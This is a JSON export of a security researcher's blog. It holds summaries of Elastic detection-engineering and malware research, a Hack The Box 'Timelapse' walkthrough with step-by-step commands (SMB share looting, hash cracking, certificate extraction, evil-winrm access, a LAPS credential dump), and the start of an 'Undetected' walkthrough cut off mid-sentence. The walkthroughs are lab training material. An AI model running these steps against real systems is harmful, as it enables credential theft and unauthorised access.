[{"body":"A personal blog to give some of my cyber security and hacking knowledge back to the community.\n","link":"https://aegrah.github.io/","section":"","tags":null,"title":""},{"body":"","link":"https://aegrah.github.io/categories.html","section":"categories","tags":null,"title":"Categories"},{"body":"At Elastic Security Labs, together with Eric Forte and Samir Bousseaden, we analyzed the Linux kernel privilege escalation vulnerabilities Copy Fail (CVE-2026-31431), Copy Fail 2, and DirtyFrag. These issues exploit subtle page cache corruption bugs to create reliable paths to root access, using legitimate kernel interfaces such as AF_ALG, splice(), and in DirtyFrag's case, networking stack primitives via AF_NETLINK and AF_RXRPC.\nCopy Fail has been reported as exploited in the wild and was added to CISA's Known Exploited Vulnerabilities catalog. DirtyFrag expands the same bug class with variants that do not depend on the algif_aead module, meaning systems that only applied Copy Fail mitigations may still be exposed. Rather than matching specific proof-of-concept implementations, we focused detection logic on the underlying exploitation primitives and behavior—syscall sequences, namespace manipulation, and suspicious SUID binary abuse—along with ES|QL hunting queries and mitigation guidance.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-05-09-copy-fail-dirtyfrag-linux-page-bugs-in-the-wild.html","section":"post","tags":["Detection Engineering","Linux","Elastic"],"title":"Copy Fail and DirtyFrag: Linux Page Cache Bugs in the Wild"},{"body":"","link":"https://aegrah.github.io/tags/detection-engineering.html","section":"tags","tags":null,"title":"Detection Engineering"},{"body":"","link":"https://aegrah.github.io/categories/detection-engineering.html","section":"categories","tags":null,"title":"Detection Engineering"},{"body":"","link":"https://aegrah.github.io/tags/elastic.html","section":"tags","tags":null,"title":"Elastic"},{"body":"","link":"https://aegrah.github.io/categories/elastic.html","section":"categories","tags":null,"title":"Elastic"},{"body":"","link":"https://aegrah.github.io/tags/linux.html","section":"tags","tags":null,"title":"Linux"},{"body":"","link":"https://aegrah.github.io/categories/linux.html","section":"categories","tags":null,"title":"Linux"},{"body":"","link":"https://aegrah.github.io/post.html","section":"post","tags":null,"title":"Posts"},{"body":"","link":"https://aegrah.github.io/tags.html","section":"tags","tags":null,"title":"Tags"},{"body":"In the second part of our two-part Linux rootkit series at Elastic Security Labs, Remco Sprooten and I turn from theory to detection engineering. We begin by demonstrating why static detection is often unreliable against Linux rootkits—even trivial modifications like stripping binaries or appending a single null byte can significantly degrade VirusTotal detection rates.\nFrom there, we cover practical behavioral detection across userland rootkit loading (LD_PRELOAD, /etc/ld.so.preload, dynamic linker configuration), kernel-space LKM loading via init_module/finit_module syscalls, out-of-tree and unsigned module taint signals, kill-signal abuse, eBPF rootkits, io_uring-based evasion, persistence mechanisms, and defense evasion techniques such as masquerading as kernel threads and log cleansing. Each section includes detection rules and Auditd configuration guidance defenders can apply in production environments.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-04-02-linux-rootkits-2-caught-in-the-act.html","section":"post","tags":["Malware Analysis","Detection Engineering","Linux","Elastic"],"title":"Hooked on Linux: Rootkit Detection Engineering"},{"body":"","link":"https://aegrah.github.io/tags/malware-analysis.html","section":"tags","tags":null,"title":"Malware Analysis"},{"body":"","link":"https://aegrah.github.io/categories/malware-analysis.html","section":"categories","tags":null,"title":"Malware Analysis"},{"body":"At Elastic Security Labs, Remco Sprooten and I analyzed a data dump containing source code, compiled binaries, and deployment scripts for the kernel rootkit components of VoidLink—a cloud-native Linux malware framework first documented by Check Point Research. The dump revealed a multigenerational rootkit framework actively developed and tested across real targets, spanning CentOS 7 through Ubuntu 22.04.\nVoidLink's architecture immediately stood out: rather than relying on a single technique, it combines a traditional Loadable Kernel Module with eBPF programs in a hybrid design rarely encountered in the wild. The LKM handles deep kernel manipulation, syscall hooking via ftrace, and an ICMP-based covert command channel, while a companion eBPF program hides network connections from the ss utility by manipulating Netlink socket responses in userspace memory. We trace its evolution across four generations, dissect its most technically interesting features—including the eBPF \u0026quot;swallowing\u0026quot; technique for ss hiding—and provide actionable detection strategies including a YARA signature.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-03-26-illuminating-voidlink.html","section":"post","tags":["Malware Analysis","Linux","Rootkit","Elastic"],"title":"Illuminating VoidLink: Technical analysis of the VoidLink rootkit framework"},{"body":"","link":"https://aegrah.github.io/tags/rootkit.html","section":"tags","tags":null,"title":"Rootkit"},{"body":"","link":"https://aegrah.github.io/tags/containers.html","section":"tags","tags":null,"title":"Containers"},{"body":"At Elastic Security Labs, I published a real-world walkthrough of TeamPCP's multi-stage container compromise, demonstrating how Elastic's Defend for Containers (D4C) surfaces runtime signals across each stage of the attack chain. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment based on the TeamPCP cloud-native ransomware operation documented by Flare.\nThe scenario spans nearly the entire MITRE ATT\u0026amp;CK lifecycle—from initial execution via curl | bash and Kubernetes environment discovery, through lateral movement via kube.py, persistence via systemd, runtime tooling installation, tunneling with frps and gost, encoded payload execution, miner deployment, and escalation to node control via privileged DaemonSets and Kubernetes API abuse. We also demonstrate how Attack Discovery correlates 130+ individual alerts into a coherent container cryptojacking attack narrative.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-03-20-teampcp-container-attack-scenario.html","section":"post","tags":["Detection Engineering","Linux","Containers","Elastic"],"title":"Linux \u0026 Cloud Detection Engineering - TeamPCP Container Attack Scenario"},{"body":"At Elastic Security Labs, I published a comprehensive walkthrough of Elastic's Defend for Containers (D4C) integration, covering Kubernetes-based deployment, BPF-enriched runtime telemetry analysis, and the practical application of policy-driven security controls for containerized Linux environments.\nDefend for Containers arrived in Elastic Stack 9.3.0 as a runtime security integration that captures process execution and file access events enriched with container and orchestration context. This post provides a practical starting point for detection engineers: how to deploy D4C via Elastic Agent in Kubernetes, how its selector-response policy model works, which fields matter for detection logic (capabilities, interactive execution, container privilege context), and how to enable the pre-built detection ruleset. We also cover Beta limitations and a recommended workflow for validating policies before enabling blocking responses.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-03-19-getting-started-with-defend-for-containers.html","section":"post","tags":["Detection Engineering","Linux","Containers","Elastic"],"title":"Linux \u0026 Cloud Detection Engineering - Getting Started with Defend for Containers (D4C)"},{"body":"In the first part of our two-part Linux rootkit series at Elastic Security Labs, Remco Sprooten and I explore the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. We trace the progression from early userland shared object rootkits through LKM-based implants, eBPF rootkits, and emerging io_uring-based evasion.\nThe publication covers rootkit loader and payload components, kernel hooking techniques including IDT hooking, syscall table patching, inline hooking, VFS hooking, ftrace and kprobes abuse, the KHOOK framework, userspace LD_PRELOAD interposition, and eBPF program attachment. We also discuss how modern rootkits like PUMAKIT and Diamorphine combine multiple hooking techniques, and how the recently published FlipSwitch technique demonstrates that syscall table patching remains viable even on Linux kernel 6.9+.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2026-03-05-linux-rootkits-1-hooked-on-linux.html","section":"post","tags":["Malware Analysis","Linux","Rootkit","Elastic"],"title":"Hooked on Linux: Rootkit Taxonomy, Hooking Techniques and Tradecraft"},{"body":"At Elastic Security Labs, Remco Sprooten and I analyzed OUTLAW, a persistent yet unsophisticated auto-propagating coinminer package that remains active across multiple versions despite lacking advanced evasion techniques. It leverages simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels.\nWe deployed a honeypot to observe the attackers in action, revealing both automated propagation and manual post-compromise activity—including real-time command entry and even typos from the operator. The research maps OUTLAW's full attack chain across nearly the entire MITRE ATT\u0026amp;CK framework, from initial access via the blitz brute-forcer through XMRIG mining, STEALTH SHELLBOT IRC backdoors, worm-like lateral movement, and comprehensive detection rules and hunting queries for each stage.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2025-04-01-outlaw-linux-malware.html","section":"post","tags":["Malware Analysis","Linux","Elastic"],"title":"Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective"},{"body":"","link":"https://aegrah.github.io/tags/hunting.html","section":"tags","tags":null,"title":"Hunting"},{"body":"In the fifth and final part of the Linux Persistence Detection Engineering series, we bring the journey to its grand finale by exploring some of the most obscure, creative, and complex persistence mechanisms. Building on the foundational concepts covered in previous publications, this final installment focuses on techniques rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities.\nWe begin with GRUB-based persistence and the manipulation of initramfs, demonstrating both manual modifications and automated approaches using Dracut. We then examine Polkit-based persistence, followed by an exploration of D-Bus exploitation, a lesser-known but powerful method for maintaining access. Finally, we dive into NetworkManager dispatcher scripts, showcasing how adversaries can leverage them for stealthy persistence.\nUsing PANIX, a Linux persistence tool I developed, we will simulate these techniques, analyze system logs, and uncover detection opportunities. By leveraging the tailored ES|QL and OSQuery queries provided, defenders can enhance their detection capabilities against even the most advanced persistence threats.\nAs we close this series, you’ll have gained in-depth knowledge of Linux persistence mechanisms—both common and highly evasive—along with the tools and strategies to detect and mitigate them effectively.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2025-02-25-linux-detection-engineering-grand-finale-on-linux-persistence-mechanisms.html","section":"post","tags":["Detection Engineering","Hunting","Linux","Persistence","Elastic"],"title":"Linux Detection Engineering - The Grand Finale on Linux Persistence Mechanisms"},{"body":"","link":"https://aegrah.github.io/tags/persistence.html","section":"tags","tags":null,"title":"Persistence"},{"body":"","link":"https://aegrah.github.io/categories/persistence.html","section":"categories","tags":null,"title":"Persistence"},{"body":"In the fourth part of the Linux Persistence Detection Engineering series, I continue exploring advanced Linux persistence techniques, expanding on the foundation set in previous publications.\nThis latest installment delves into additional creative and complex methods adversaries use to maintain persistence on Linux systems. We explore the abuse of Pluggable Authentication Modules (PAM), specifically how pam_exec can be leveraged to execute malicious code during authentication events. We also analyze installer package manipulation via RPM and DPKG, where lifecycle scripts are weaponized to establish persistence through package installations and updates. Finally, we examine malicious Docker containers, detailing how attackers exploit privileged containers and host-level access for persistence and container escapes.\nUsing PANIX, a Linux persistence tool I developed, we will simulate these techniques, analyze system logs, and identify detection opportunities. With tailored ES|QL and OSQuery detection queries, defenders can strengthen their ability to uncover and respond to these advanced threats.\nBy the end of this research, you’ll have a deeper understanding of both common and stealthy Linux persistence mechanisms and how to engineer robust detections against real-world adversary tactics.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2025-02-11-linux-detection-engineering-approach-the-summit-on-persistence-mechanisms.html","section":"post","tags":["Detection Engineering","Hunting","Linux","Persistence","Elastic"],"title":"Linux Detection Engineering -  Approaching the Summit on Persistence Mechanisms"},{"body":"In the third part of the Linux Persistence Detection Engineering series, I continue exploring advanced Linux persistence techniques, expanding on the foundation set in previous publications.\nThis latest installment dives into more creative and complex persistence methods, providing security researchers and defenders with a deeper understanding of how adversaries maintain access on Linux systems. We explore techniques such as dynamic linker hijacking, where adversaries manipulate the dynamic linker through LD_PRELOAD to execute malicious code persistently. We also examine loadable kernel modules (LKMs), which allow attackers to embed malicious code directly into the kernel for deep system control. Additionally, we analyze web shells, a persistent threat in web-exposed environments, and demonstrate how default system users with non-interactive shells can be leveraged for stealthy persistence without creating new user entries.\nUsing PANIX, a Linux persistence tool I developed, we will simulate these techniques, analyze system logs, and uncover new detection opportunities. By leveraging tailored ES|QL and OSQuery detection queries, defenders can strengthen their ability to identify and respond to these advanced threats.\nBy the end of this research, you’ll have practical insights into both common and rare persistence mechanisms, along with the knowledge needed to build effective detections.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2025-01-27-linux-detection-engineering-continuation-on-persistence-mechanisms.html","section":"post","tags":["Detection Engineering","Hunting","Linux","Persistence","Elastic"],"title":"Linux Detection Engineering -  A Continuation on Persistence Mechanisms"},{"body":"At Elastic Security Labs, we uncovered PUMAKIT, a sophisticated multi-stage Linux malware with advanced rootkit capabilities. Initially identified through routine threat hunting on VirusTotal, PUMAKIT consists of a dropper (cron), two memory-resident executables, an LKM rootkit module, and a userland shared object (SO) rootkit.\nThe rootkit, internally named PUMA by its authors, employs ftrace to hook 18 syscalls and multiple kernel functions, enabling stealthy privilege escalation, file and process hiding, and anti-debugging measures. Uniquely, it interacts with the system through unconventional mechanisms, such as leveraging the rmdir() syscall for privilege escalation. The malware ensures activation only under specific conditions, including secure boot status and kernel symbol availability, making it highly evasive.\nThis research delves into PUMAKIT’s technical architecture, stealth techniques, and persistence mechanisms, highlighting its ability to manipulate core system behaviors while maintaining control over infected hosts.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-12-12-declawing-pumakit.html","section":"post","tags":["Malware Analysis","Linux","Elastic"],"title":"Declawing PUMAKIT"},{"body":"At Elastic, we recognize the critical need for securing containerized applications in Kubernetes and cloud environments. To enhance runtime security, we’ve integrated Falco—an open-source cloud-native security tool—directly with Elastic Security. Falco leverages Linux kernel events and plugins to detect abnormal behavior, security threats, and compliance violations across hosts, containers, and Kubernetes clusters.\nBuilding on our recent expansion of cloud security protections using CNCF open-source tools, this research details how the Falco and Elastic Security integration strengthens threat detection at the edge. By introducing dedicated Falco connectors, we enhance cloud workload protection and endpoint security, complementing existing integrations with major EDR providers like SentinelOne, CrowdStrike, and Microsoft Defender.\nIn this blog, we explore key aspects of the integration, from setup and rule-based detection to event ingestion and centralized alert management in Kibana. We also demonstrate practical use cases through attack simulations to showcase Falco’s role in modern cloud security.\nAre you interested in this research? Our full paper is available at Elastic!\n","link":"https://aegrah.github.io/post/2024-11-15-falco-workload-protection.html","section":"post","tags":["Detection Engineering","Linux","Elastic"],"title":"Securing the edge: Harnessing Falco's power with Elastic Security for cloud workload protection"},{"body":"At Elastic Security Labs, we analyzed a critical set of vulnerabilities in the CUPS printing system, disclosed by security researcher Simone Margaritelli (@evilsocket) on September 26, 2024. These flaws, affecting CUPS versions ≤ 2.0.1, enable unauthenticated remote attackers to achieve remote code execution (RCE) via the Internet Printing Protocol (IPP) and mDNS, exploiting UDP port 631. Key weaknesses include input validation flaws in cups-browsed, libcupsfilters, and libppd, as well as the long-unpatched foomatic-rip filter. Many UNIX-based systems, including Linux, BSDs, ChromeOS, and Solaris, are impacted, with cups-browsed often enabled by default.\nOur research delves into the technical details of the exploitation chain, providing insights into the attack methods and detection strategies. We also outline mitigation steps to help organizations secure their systems against these threats.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-09-28-cups-overflow.html","section":"post","tags":["CVE","Detection Engineering","Linux","Elastic"],"title":"Cups Overflow: When your printer spills more than Ink"},{"body":"","link":"https://aegrah.github.io/tags/cve.html","section":"tags","tags":null,"title":"CVE"},{"body":"","link":"https://aegrah.github.io/categories/cve.html","section":"categories","tags":null,"title":"CVE"},{"body":"At Elastic Security Labs, we uncovered a sophisticated Linux malware campaign exploiting Apache2 servers since March 2024. Attackers used multiple malware families, including KAIJI (DDoS) and RUDEDEVIL (crypto miner), along with custom tools for persistence and control. They leveraged C2 channels disguised as kernel processes, Telegram bots, and cron jobs. The investigation suggests a potential Bitcoin/XMR mining scheme tied to gambling APIs, hinting at money laundering. Continuous malware development was observed through a file share hosting fresh KAIJI samples. The research provides an in-depth analysis of the attack tactics, persistence methods, and C2 infrastructure.\nAre you interested in this research? Our full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-09-27-betting-on-bots-ref6138.html","section":"post","tags":["Malware Analysis","Linux","Elastic"],"title":"Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse"},{"body":"In this second part of the Linux Persistence Detection Engineering series, I explore the world of more advanced Linux persistence techniques. This part builds upon the knowledge obtained from the previous persistence blog dubbed \u0026quot;Linux Detection Engineering - A Primer on Persistence Mechanisms\u0026quot;. This sequel aims to equip defenders and security researchers with a more comprehensive understanding of Linux persistence. With the help of PANIX, a Linux persistence tool I developed, we will simulate these techniques, analyze the logs and observe detection opportunities. By the end, you'll have gained practical insights into both basic and more complex persistence mechanisms.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-08-29-linux-detection-engineering-sequel-on-persistence-mechanisms.html","section":"post","tags":["Detection Engineering","Hunting","Linux","Persistence","Elastic"],"title":"Linux Detection Engineering - A sequel on persistence mechanisms"},{"body":"In this first installment of the Linux Persistence Detection Engineering series, I delve into Linux persistence mechanisms, exploring both common and complex techniques to enhance the knowledge of defenders and security researchers. I examine how these persistence methods operate, how to set them up, and most importantly, how to detect and hunt for them effectively. With the help of PANIX, a Linux persistence tool I developed, I’ll demonstrate practical examples and detection strategies, ensuring you gain a solid understanding of these crucial techniques. Let's dive into the world of Linux persistence!\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-08-21-linux-detection-engineering-primer-on-persistence-mechanisms.html","section":"post","tags":["Detection Engineering","Hunting","Linux","Persistence","Elastic"],"title":"Linux Detection Engineering -  A primer on persistence mechanisms"},{"body":"I'm Ruben Groenewoud, a security researcher with a focus on Linux security, detection engineering, and offensive security. I currently work as a Security Research Engineer at Elastic, where I research Linux threats and build detections across behavioral, signature, and machine-learning approaches.\nBefore that, I worked as a SOC analyst and penetration tester. That mix of red and blue team experience shapes how I write: I try to explain attacks clearly, then show how defenders can detect and respond to them.\nWhat you'll find here This site is where I share research write-ups, detection engineering notes, Hack The Box walkthroughs, web application security tutorials, and other security topics I've picked up along the way. Public blogs and write-ups played a big role in my own learning — this is my way of giving some of that back to the community.\nElsewhere GitHub: github.com/Aegrah — tools and research projects LinkedIn: linkedin.com/in/ruben-groenewoud — best way to get in touch If something here helps you, or you want to talk security, feel free to reach out on LinkedIn.\n","link":"https://aegrah.github.io/about.html","section":"","tags":null,"title":"About me"},{"body":"","link":"https://aegrah.github.io/tags/auditd.html","section":"tags","tags":null,"title":"Auditd"},{"body":"In this article, I explore how to effectively use Auditd and Auditd Manager for detection engineering. I’ll demonstrate Auditd's powerful features, guide you through the setup process, and show you how to create and modify rules to capture specific behaviors. You'll also learn how to interpret the logs and discover how Auditd Manager, an Elastic integration, enhances Auditd's utility by streamlining its management.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2024-04-09-linux-detection-engineering-with-auditd.html","section":"post","tags":["Detection Engineering","Linux","Auditd","Elastic"],"title":"Linux detection engineering with Auditd"},{"body":"This research delves into large-scale malware analysis conducted by Elastic Security Labs, highlighting how Elastic ingest pipelines were used to filter out benign and duplicate data during dynamic malware analysis. By leveraging these pipelines, we efficiently managed vast datasets, enabling us to focus on identifying malicious behaviors. The study also explores different types of ingest pipelines, their applications, and provides a step-by-step workflow for implementing them, including automation scripts. Finally, we present our findings and discuss how others can replicate this workflow to achieve similar results.\nAre you interested in this research? The full paper is available at Elastic Security Labs!\n","link":"https://aegrah.github.io/post/2023-07-31-an-elastic-approach-to-large-scale-dynamic-malware-analysis.html","section":"post","tags":["Malware Analysis","Linux","Elastic"],"title":"An Elastic approach to large-scale dynamic malware analysis"},{"body":"","link":"https://aegrah.github.io/tags/hack-the-box.html","section":"tags","tags":null,"title":"Hack the Box"},{"body":"Welcome back! Today we are going to solve the Timelapse machine from Hack The Box. Timelapse is an easy box which focuses on accesible SMB shares and a lot of hash cracking to get the initial foothold. We then find configuration files that allow us to login to the system as the administrator user.\nFoothold Let's start off with a basic nmap scan. We use -Pn to skip host discovery, -sC to enumerate services, -sV to enumerate service versions and -oN to write to Nmap readable format.\n1nmap -Pn -sC -sV -oN nmap/initial timelapse.htb Which shows us the following results:\n1PORT STATE SERVICE VERSION 253/tcp open domain Simple DNS Plus 388/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-01 16:07:20Z) 4135/tcp open msrpc Microsoft Windows RPC 5139/tcp open netbios-ssn Microsoft Windows netbios-ssn 6389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 7445/tcp open microsoft-ds? 8464/tcp open kpasswd5? 9593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 10636/tcp open ldapssl? 11Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows 12 13Host script results: 14|_clock-skew: 8h00m06s 15| smb2-security-mode: 16| 2.02: 17|_ Message signing enabled and required 18| smb2-time: 19| date: 2022-04-01T16:07:28 20|_ start_date: N/A We find the domain (timelapse.htb) and the host (DC01). We also see that DNS, Kerberos, LDAP and LDAPSSL are open, which also indicates that we are dealing with a domain controller. Before we dig into the results and start enumerating, we first start a more elaborate background port scan on all ports using -p- flag to specify all ports.\n1nmap -Pn -sC -sV -p- -oN nmap/all_ports timelapse.htb Let's start off by enumerating RPC using rpcdump.py.\n1rpcdump.py timelapse.htb RPCDump found 398 endpoints, however no useful information to obtain a foothold onto the system was found. We continue with SMB. We run nulllinux.py to see if we can find any interesting information over port 139/445.\n1python3 nullinux/nullinux.py timelapse.htb But again, no luck, as we receive an \u0026quot;access denied\u0026quot; on most checks. All we find is a domain name \u0026quot;TIMELAPSE\u0026quot; and a domain SID \u0026quot;S-1-5-21-671920749-559770252-3318990721\u0026quot;.\nWe try to enumerate users through nmap's krb5-enum-users script, since we know the domain:\n1nmap -Pn --script krb5-enum-users --script-args krb5-enum-users.realm=\u0026#34;timelapse\u0026#34; -p 88 timelapse.htb Which shows us the guest and administrator users.\n1PORT STATE SERVICE 288/tcp open kerberos-sec 3| krb5-enum-users: 4| Discovered Kerberos principals 5| guest@timelapse 6|_ administrator@timelapse Which isn't of much use for us.\nNext, we try to connect with LDAP to try and extract data. For this we write a simple python3 script to try and connect to LDAPS with the following syntax:\n1import ldap3 2server = ldap3.Server(\u0026#34;timelapse.htb\u0026#34;, get_info = ldap3.ALL, port = 636, use_ssl = True) 3connection = ldap3.Connection(server) 4connection.bind() 5server.info Which returns a \u0026quot;Connection reset by peer\u0026quot; error, meaning we can't connect to LDAP without authentication.\nLet's try to enumerate SMB now, using guest access. To do this, we specify the % sign as the username.\n1smbmap -H timelapse.htb -u % Which returns several default shares, but one interesting read only share named \u0026quot;Shares\u0026quot;:\n1[+] Guest session IP: timelapse.htb:445 Name: unknown 2 Disk Permissions 3 ---- ----------- 4 ADMIN$ NO ACCESS 5 C$ NO ACCESS 6 IPC$ READ ONLY 7 NETLOGON NO ACCESS 8 Shares READ ONLY 9 SYSVOL NO ACCESS We connect to the share using smbclient, and download all files that are available to us:\n1smbclient //timelapse.htb/Shares -U -I timelapse.htb 2\u0026gt;\u0026gt; recurse ON 3\u0026gt;\u0026gt; prompt OFF 4\u0026gt;\u0026gt; mget * In the /dev/ share we find a winrm_backup.zip that is password protected. We use zip2john to translate the zip file to a hash so that we can use john to crack it.\n1zip2john winrm_backup.zip \u0026gt; hash 2 3john --wordlist=/usr/share/wordlists/rockyou.txt hash We manage to crack the password, and manage to extract a .pfx file. This .pfx file is also password protected, so we use pfx2john to translate the file to a hash so we can crack it.\n1pfx2john legacyy_dev_auth.pfx \u0026gt; pfx_hash 2 3john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash After two minutes we managed to crack the pfx file and obtain the password. We double click the .pfx file and find the \u0026quot;identity:Legacyy\u0026quot; entry, indicating that legacyy could be a potential username.\nWe use openssl to extract the private key from the .pfx file.\n1openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key We now have an encrypted private key. We decrypt it using the following command:\n1openssl rsa -in private.key -out decrypted_private.key We use openssl to extract the certificate from the .pfx file:\n1# extract encrypted .crt file 2openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt 3 4# extract decrypted .cer file 5openssl x509 -inform pem -in cert.crt -outform der -out cert.cer We now have a potential username (legacyy) and a decrypted certificate and private key. We use evil-winrm to connect to the box.\n1evil-winrm -i timelapse.htb -k decrypted_private.key -c cert.cer -S We navigate to the desktop and find user.txt\n1*Evil-WinRM* PS C:\\Users\\legacyy\\Desktop\u0026gt; dir 2 3 4 Directory: C:\\Users\\legacyy\\Desktop 5 6 7Mode LastWriteTime Length Name 8---- ------------- ------ ---- 9-ar--- 4/1/2022 9:04 AM 34 user.txt 10 11 12*Evil-WinRM* PS C:\\Users\\legacyy\\Desktop\u0026gt; whoami 13timelapse\\legacyy Privilege Escalation We upload Winpeas and run it. Winpeas shows us that our user has a powershell history file located under \u0026quot;C:\\Users\\legacyy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\u0026quot;, which contains the following information\n1whoami 2ipconfig /all 3netstat -ano |select-string LIST 4$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck 5$p = ConvertTo-SecureString \u0026#39;[...REDACTED...]\u0026#39; -AsPlainText -Force 6$c = New-Object System.Management.Automation.PSCredential (\u0026#39;svc_deploy\u0026#39;, $p) 7invoke-command -computername localhost -credential $c -port 5986 -usessl - 8SessionOption $so -scriptblock {whoami} 9get-aduser -filter * -properties * 10exit We use evil-winrm to setup another session with the new credentials that we found. As the password contains a $, we have to escape it using the \\ character before logging in.\n1evil-winrm -i timelapse.htb -u \u0026#34;svc_deploy\u0026#34; -p \u0026#34;xxR\\$Q62^12xxxxKWaxxxV\u0026#34; -P 5986 -S We navigate through the filesystem, and find that LAPS is installed. Knowing this, we look for a simple powershell script to look for credentials. For this we use the following script:\n1$Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime 2$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime We run the script and find administrator credentials:\n1.\\password_dump.ps1 2 3 4Name DnsHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime 5---- ----------- ------------- --------------------------- 6WEB01 7DEV01 8DB01 9DC01 dc01.timelapse.htb [...REDACTED...] 132937346648463515 We use these credentials to logon the box as the administrator user through evil-winrm, and find the root.txt and thereby complete the box.\n1*Evil-WinRM* PS C:\\Users\\TRX\u0026gt; whoami 2timelapse\\administrator 3*Evil-WinRM* PS C:\\Users\\TRX\u0026gt; dir Desktop 4 5 6 Directory: C:\\Users\\TRX\\Desktop 7 8 9Mode LastWriteTime Length Name 10---- ------------- ------ ---- 11-ar--- 4/1/2022 9:04 AM 34 root.txt I hope this walkthrough has been useful to you and taught you a thing or two. Thanks for reading, and see you in my next walkthrough!\n","link":"https://aegrah.github.io/post/2022-03-30-timelapse-htb-walkthrough.html","section":"post","tags":["Hack the Box","Windows"],"title":"Hack The Box - Timelapse Walkthrough"},{"body":"","link":"https://aegrah.github.io/categories/walkthroughs.html","section":"categories","tags":null,"title":"Walkthroughs"},{"body":"","link":"https://aegrah.github.io/tags/windows.html","section":"tags","tags":null,"title":"Windows"},{"body":"Today we will be taking a look at the medium box \u0026quot;Undetected\u0026quot; from Hack The Box. The foothold for the box can be found through a vulnerable php script in a directory that should not be world accessible. The script allows for remote code execution onto the box as the www-data user. We then escalate to user by finding an odd looking backup file which is actually an ELF compiled exploit. We can look at the strings of the compiled file to find user credentials. We then find an encoded backdoor that hints at another executable (when decoded). This executable has to be reversed in Ghidra to find the root SSH password.\nFoothold As usual, we start off by running a full tcp nmap scan on all ports to enumerate all services and their corresponding version numbers.\n1nmap -sC -sV -p- -oA nmap/initial 10.129.114.58 The nmap scan comes back with the following results.\n1PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 8.2 (protocol 2.0) 3| ssh-hostkey: 4| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA) 5| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA) 6|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519) 780/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8|_http-title: Diana\u0026#39;s Jewelry 9|_http-server-header: Apache/2.4.41 (Ubuntu) We can see port 22 running a recent version of SSH. Let's take a look at the website. We can see its title is \u0026quot;Diana's Jewelry\u0026quot;. Let's start a gobuster scan to check for interesting files and directories.\n1gobuster dir -u http://10.129.114.58/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out.ip -x php Which doesn't provide any interesting results. While manually enumerating the website I hover over \u0026quot;Store\u0026quot;, which redirects to \u0026quot;store.djewelry.htb\u0026quot;. Let's add store.djewelry.htb to our /etc/hosts file and visit it. Let's start a gobuster on this virtual host.\n1gobuster dir -u http://store.djewelry.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php Gobuster provides us the following results.\n1/images (Status: 301) [Size: 325] 2/js (Status: 301) [Size: 321] 3/css (Status: 301) [Size: 322] 4/login.php (Status: 200) [Size: 4129] 5/cart.php (Status: 200) [Size: 4396] 6/products.php (Status: 200) [Size: 7447] 7/index.php (Status: 200) [Size: 6215] 8/fonts (Status: 301) [Size: 324] 9/vendor (Status: 301) [Size: 325] 10/server-status (Status: 403) [Size: 283] Most of the .php locations lead to dead ends because the website doesn't seem to have an actual backend. Directory listing is enabled, so we can manually look through the directories that we found. In the /vendor/ directory we find a \u0026quot;phpdocumentor\u0026quot; directory. I run searchsploit to check for vulnerabilities.\n1kali@kali-$ searchsploit phpdocumentor 2------------------------------------------------------------------------------ 3Exploit Title 4------------------------------------------------------------------------------ 5phpDocumentor 1.2/1.3 - Forum Lib Variable Cross-Site Scripting 6phpDocumentor 1.3.0 rc4 - Remote Command Execution 7------------------------------------------------------------------------------ We see a remote code execution vulnerability. Unfortunately the version 